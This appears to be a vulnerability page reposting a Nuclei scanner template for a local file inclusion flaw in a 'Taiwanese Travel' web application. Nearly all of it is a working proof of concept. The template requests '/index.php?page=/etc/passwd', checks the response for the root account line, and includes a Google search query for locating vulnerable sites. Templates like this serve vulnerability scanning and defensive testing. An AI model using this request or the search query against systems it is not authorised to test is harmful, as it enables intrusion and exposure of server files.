taiwanese-travel-lfi: Taiwanese Travel - Local File Inclusion

2025-08-01 Taiwanese Travel PoC Public

Description

The vulnerability in '/index.php?page=' allows for Local File Inclusion (LFI), granting attackers the ability to include and potentially execute files on the server, compromising the application's security

PoC

id: taiwanese-travel-lfi

info:
  name: Taiwanese Travel - Local File Inclusion
  author: r3Y3r53
  severity: high
  description: |
    The vulnerability in '/index.php?page=' allows for Local File Inclusion (LFI), granting attackers the ability to include and potentially execute files on the server, compromising the application's security
  reference:
    - https://www.exploitalert.com/view-details.html?id=35607
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"COPYRIGHT" inurl:?page=regulation.php
  tags: lfi,unauth,taiwanese,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:x:0:0:"

      - type: word
        part: body
        words:
          - "travel"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c4da301b66a883ec3cbd909fc56cbaaec4058127a0f272b5369fca8e67d57d6a0221009da7fcef2c37b07d41057b9a1b32aec3a0324d40d2d0e31ac8f42f1d8765de5a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/taiwanese-travel-lfi.yaml

References

Related Vulnerabilities